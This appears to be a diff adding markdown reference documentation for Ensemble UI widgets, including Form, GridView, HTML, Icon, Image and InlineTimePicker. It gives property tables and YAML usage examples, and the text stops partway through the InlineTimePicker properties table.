+[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :--------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| direction | string | The main direction to lay out the children before wrapping | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| mainAxis | string | Control our children's layout vertically | +| gap | integer | The gap between the children in the main direction | +| lineGap | integer | The gap between the lines if the children start wrapping | +| maxWidth | integer | Sets the maximum width allowed for an element. | +| maxHeight | integer | Sets the maximum height allowed for an element. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +--- + +# Form widget + +Form is a wrapper widget for inputs such as TextInput, Dropdown, Checkbox, etc. Form enables you to perform validation and styling on inputs inside the Form. + +[Detailed Example of validating/submitting a Form from inside a form or outside](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) + +### Validate and Submit + +#### Submit a Form from a Button inside a Form +To trigger validation of a Form's children inputs, add a Button widget with the property of `validateForm: true`. In this example, following validations will be performed when the submit button is pressed. If `validateForm: true`, Form will be submitted only if validation passes. + +```yaml +View: + body: + Form: + onSubmit: + invokeAPI: + name: addAccount + inputs: + name: ${name.value} + email: ${email.value} + onResponse: + # perform additional action here + onError: + # perform additional action here + children: + - TextInput: + id: name + label: First and last name + required: true + - TextInput: + id: email + label: Email + required: true + inputType: email + - Button: + label: Submit + validateForm: true + submitForm: true + +API: + addAccount: + inputs: + - name + - email + method: POST + uri: https://sample.api/user + body: + name: ${name} + email: ${email} +``` +#### Validate or Submit a Form from outside the Form +Detailed Example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) This examples shows how to validate/submit a form from a sticky button in the footer. This is a common pattern in mobile apps. + +By default, when `Form.submit()` is called, it first called `Form.validate()` and calls submit only if the validation succeeds (i.e. all form fields are in valid state. + +Following is a snippet from the example above + +```yaml + footer: + styles: + backgroundColor: white + children: + - Button: + styles: + backgroundColor: black + borderRadius: 40 + padding: 20 + label: Submit + onTap: |- + basicForm.validate(); + complexForm.submit(); +``` + +### Styling + +You can control the styling of inputs' label at the Form level, by setting `labelPosition`, `labelMaxWidth`, and `labelOverflow` properties under Form's style. + +Use `labelStyle` to control the detailed styling of all the labels. Note that an Input widget's own labelStyle will take precedence over the Form's labelStyle. + +```yaml +View: + body: + Form: + styles: + labelPosition: start + labelMaxWidth: 100 + labelOverflow: clip + # all labels will have a bolder weight + labelStyle: + fontWeight: w600 + children: + - TextInput: + label: Name + required: true + - TextInput: + label: email + required: true + inputType: email + styles: + # setting this will ignore the Form's labelStyle + labelStyle: + color: red + - Button: + label: Submit + validateForm: true +``` + +## Properties + +| Property | Type | Description | +| :------- | :------ | :------------------------------------------------------------------------ | +| enabled | boolean | Enables or disables the interactivity and input functionality of the Form | +| onSubmit | action | Action to execute when the form is submitted | +| children | array | List of widgets | +| styles | object | [see properties](#styles) | + +## Styles + +| Property | Type | Description | +|:--------------|:-----------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------| +| labelPosition | string | Where the position the FormField's label `top` `start` `none` | +| labelOverflow | string | Treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | +| labelMaxWidth | integer | Cap the label's width, useful on larger screen. This property only works on labelPosition=start. | +| labelStyle | [TextStyle](#TextStyle) | Styling for the label | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| gap | integer | Vertical gap to insert between the children (default is 10) | + +## Methods + +| Function | Return Type | Description | +|:-----------|:------------|:-------------------------------------------------------------------------------------------------------| +| validate() | boolean | validates each formfield inside the Form. Returns true if all the fields are valid and false otherwise | +| submit() | none | submits the form | + +--- + +# GridView + +The GridView Widget empowers you to render grid-based layouts, enabling the display of content in a structured and organized manner with customizable grid configurations within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :-------------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above | +| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| horizontalTileCount | | The number of horizontal tiles (max 5) to show. If not specified, the number of tiles will automatically be determined by the screen size. You may also specify a single number (for all breakpoints), three numbers (for small, medium, large breakpoints), or five numbers (xSmall, small, medium, large, xLarge). | +| horizontalGap | integer | The gap between the horizontal tiles if there are more than one (default: 10). | +| verticalGap | integer | The gap between the vertical tiles if there are more than one (default: 10). | +| itemHeight | integer | Set a fixed height for each item in the tile. If each tile item comprises of many widgets vertically, setting this attribute may require you to stretch (expand) at least one inner widget. | +| itemAspectRatio | number | Instead of itemHeight, you can set the tile's dimension as a ratio of (item width / item height). For example, a tile with 3x width and 2x height is 3/2 = 1.5. This attribute will be ignored if itemHeight is set. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# HTML widget + +The HTML Render Widget enables seamless rendering of HTML code within your application, providing a dynamic and interactive experience for users. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------ | +| text | string | Enter the HTML text | +| cssStyles | List of [cssStyle](#cssStyle) | Enter the CSS to interact with HTML | + +### cssStyle + +| Property | Type | Description | +| :------- | :----- | :------------------ | +| selector | String | Equivalent to the CSS selector. To select any given tag using either tag name, class name or id of that tag | +| properties | [properties](#properties) | The css properties to apply to a selected tag. | + +### properties + +| Property | Type | Description | +| :--------------------- | :------------ | :------------------------------------------------ | +| backgroundColor | string | Sets the background color of an element. Useful for emphasizing or styling page sections. | +| color | string | Defines the text color within an element, impacting readability and visual hierarchy. | +| counterIncrement | string | Specifies the increment value for counters, facilitating dynamic list numbering or tracking. | +| counterReset | string | Determines the reset value for counters, useful for restarting or initializing counting sequences. | +| direction | string | Sets the text direction, crucial for proper alignment in multilingual content. | +| display | string | Specifies the box model used for an element, influencing its layout and rendering behavior. | +| fontFamily | string | Defines the font family for text, allowing customization of the typeface for stylistic or thematic consistency. | +| fontFeatureSettings | string | Enables advanced typographic features in fonts, providing fine control over ligatures and stylistic elements. | +| fontSize | string | Sets the font size within an element, influencing the overall visual hierarchy and readability of content. | +| fontStyle | string | Specifies the style of the font, such as italic or normal, contributing to the visual emphasis of displayed text. | +| fontWeight | string | Sets the thickness of characters within a text element, allowing for varied emphasis and hierarchy in content. | +| height | string | Defines the height of an element, offering control over vertical dimensions and aspect ratios. | +| letterSpacing | string | Adjusts the spacing between characters in text, providing fine-tuned control over readability and aesthetics. | +| listStyleImage | string | Sets an image as the list-item marker, allowing customization of list styles with distinctive visual markers. | +| listStyleType | string | Defines the type of marker or style for list items, contributing to the overall appearance and theme of content lists. | +| listStylePosition | string | Sets the position of the list-item marker, influencing its placement in relation to list item content and surroundings. | +| margin | string | Sets the margin outside an element's border, controlling spacing between the element and its neighboring elements. | +| padding | string | Defines the padding inside an element's border, ensuring space between the element's content and its border. | +| textAlign | string | Aligns text within an element, controlling horizontal positioning such as left-aligned, center-aligned, or right-aligned.| +| textDecoration | string | Adds decoration to text, like underline or overline, enhancing visual appeal or conveying additional information. | +| textDecorationColor | string | Sets the color of the text decoration, allowing coordination with the document's color scheme. | +| textDecorationStyle | string | Defines the style of the text decoration, influencing its visual appearance with options like solid, dashed, or dotted lines.| +| textDecorationThickness| string | Specifies the thickness of the text decoration, providing control over its visual prominence. | +| textOverflow | string | Defines how text content that overflows its container should be handled, indicating options like ellipsis or clip. | +| textShadow | string | Adds a shadow to text for emphasis, enhancing legibility and visual impact of text elements within a design or layout. | +| textTransform | string | Controls the capitalization of text, allowing options like uppercase or lowercase to achieve stylistic preferences. | +| verticalAlign | string | Aligns the vertical positioning of inline elements, ensuring proper alignment in relation to surrounding content. | +| whiteSpace | string | Controls handling of white space inside an element, influencing text wrapping, line breaks, and spacing for optimal readability.| +| width | string | Defines the width of an element, offering control over horizontal dimensions and aspect ratios. | +| wordSpacing | string | Adjusts spacing between words in text, providing control over the visual appearance and readability of textual content. | +| lineHeight | string | Sets the height of a line of text, influencing overall vertical spacing and readability within an element. | +| maxLines | string | Limits the number of lines for multiline text, controlling display and preventing excessive expansion of text content. | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | +| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | + +--- + +# Icon widget + +The Icon Widget enables easy integration of icons from popular libraries like FontAwesome, allowing for seamless customization and visually appealing designs within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) + + +[List of supported icons](/pages/widgets/icon2.md) + + +## Properties + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| icon | string | Icon name from Material Icons or Font Awesome | +| library | [string](/pages/widgets/icon2.md) | Which icon library to use, if there is no value for library then its considered to be default. `fontAwesome` `remix` ( for now only few remix icons are supported but we will support most them soon) You can check list of supported icons [here](/pages/widgets/icon2.md) | +| onTap | action | Call Ensemble's built-in functions or execute code | +| onTapHaptic | enum | The type of haptic to perform when icon is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| color | integer or string | The color of the icon, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| splashColor | integer or string | If onTap is defined, this color will show up as a splash effect upon tapping the icon. Note that the effect only happens if backgroundColor is not set. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer or string | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | +| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Finding supported icons and their library + +3 icon libaries +Remix, Default, fontAwesome + +## **Remix Library** + +```yaml +- Icon: + name: account_circle_line + library: remix +``` + +See all the Remix Icons from here: [Remix Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=0o5HzVJWvnkAGxlZtCcV&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +| -------------------- | +| account_circle_line | +| add_circle_line | +| arrow_down_s_line | +| verified_badge_fill | +| verified_badge_line | + + + +## **Default Library** + +Specifying the library is not required when using default. + +```yaml +- Icon: + name: alarm + library: default +``` + +See all the default Icons from here: [Material Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=zZMFKXg1UAOaIGPJ2Y5S&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +|---------------------------| +| ac_unit | +| access_alarm | +| access_alarms | +| access_time | +| accessibility | +| accessibility_new | +| accessible | + +## **Font Awesome library** +[Find supported images here!](https://fontawesome.com/search) +```yaml +- Text: + text: Example 2 using FontAwesome +- Icon: + name: coffee + library: fontAwesome + styles: + color: red +``` + +See all the FontAwesome Icons from here: [FontAwesome Library](https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992&screenId=SfR9shrC1lvBM1Lxvoss&showAction=false&devicePreview=true&instantPreview=true) + +| Icon Name | +|----------------------------------------| +| fiveHundredPx | +| accessibleIcon | +| accusoft | +| alignCenter | +| airbnb | +| addressBook | +| solidAddressBook | +| addressCard | +| solidAddressCard | +| applePay | + +--- + + +# Image widget + +The Image Widget allows you to render images from a URL or [local assets](#using-local-assets). + +You can manage your assets using Ensemble Studio. [See how](#assets-images-videos-etc) + +--- + +Here's the updated documentation for the `InlineTimePicker` widget with the correct link to the Kitchen Sink: + +# InlineTimePicker Widget + +The InlineTimePicker widget provides an intuitive, iOS-style time selection interface that allows users to select hours, minutes, and optionally seconds, all within the same view. It is designed to offer a smooth and customizable time-picking experience directly within the interface, without the need for opening a dialog. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HGdWHF4G23mpkHBV8o3F) + +## Key Concepts + +- **mode**: Defines the format of the time picker. You can choose between hours and minutes (`hm`), minutes and seconds (`ms`), or hours, minutes, and seconds (`hms`). +- **selectedTime**: Retrieves the current selected time as a formatted string, including hours, minutes, and seconds if applicable. +- **onTimeChanged**: Executes an action when the selected time is changed by the user. This allows developers to perform tasks such as updating other parts of the UI or triggering business logic. +- **minuteInterval**: Sets the interval for minute selection, allowing for customization of the granularity of minute steps. +- **secondInterval**: Sets the interval for second selection, providing control over how precisely seconds can be selected. +- **onTimeChangedHaptic**: Allows the addition of haptic feedback when the time is changed, enhancing the tactile interaction experience for users. +- **initialTime**: Specifies the initial time that the picker will display when it is first rendered. + +## Example + +Here’s an example of how to use the InlineTimePicker widget in a YAML configuration: + +```yaml +View: + header: + title: InlineTimePicker + styles: + scrollableView: true + body: + Column: + children: + - InlineTimePicker: + id: timePicker + initialTime: "11:44" + mode: hms + showHourLabel: false + + - Button: + label: Get Time + onTap: | + //@code + console.log(timePicker.selectedTime); +``` + +In this example: +- The `InlineTimePicker` is configured to use the `hms` mode, which allows the selection of hours, minutes, and seconds. +- The `initialTime` is set to `"11:44"`, which is the time the picker will display when first rendered. +- The `showHourLabel` is set to `false`, hiding the hour label from the picker. +- The button logs the selected time in the format `hh:mm:ss a` to the console when pressed. + +## Reference +#### Properties + +| Property | Type | Description | +| :------------------ |:---------------------------------------|:----------------------------------------------------------------------------------------------------------| 